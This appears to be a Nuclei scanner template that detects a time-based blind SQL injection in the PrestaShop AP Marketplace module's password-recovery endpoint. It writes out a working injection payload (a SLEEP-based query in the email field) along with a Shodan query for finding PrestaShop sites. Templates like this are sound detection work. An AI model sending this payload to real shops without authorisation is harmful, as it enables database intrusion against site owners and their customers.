id: prestashop-apmarketplace-sqli

info:
  name: PrestaShop Ap Marketplace - SQL Injection
  author: mastercho
  severity: high
  description: |
    The AP Marketplace Prestashop module is vulnerable to Blind/Time SQL Injection. An attacker can exploit this vulnerability to execute arbitrary SQL queries on the underlying database.
  reference:
    - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/#pll_switcher
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    shodan-query: http.component:"Prestashop"
  tags: time-based-sqli,prestashop,sqli,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /m/apmarketplace/passwordrecovery HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        email="+AND+(SELECT+3472+FROM+(SELECT(SLEEP(6)))UTQK)--+IGIe&submit_reset_pwd=

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(body, "module-apmarketplace-passwordrecovery")'
        condition: and
# digest: 4a0a0047304502203be229c0bdaab9a715716d8e67df653a23d9f324d90d049ed39e36da45697b47022100b2c3ed23208ba09f0998b86a02fbabece53ff819b1724555d4a79e83418cab8a:922c64590222798bb761d5b6d8e72950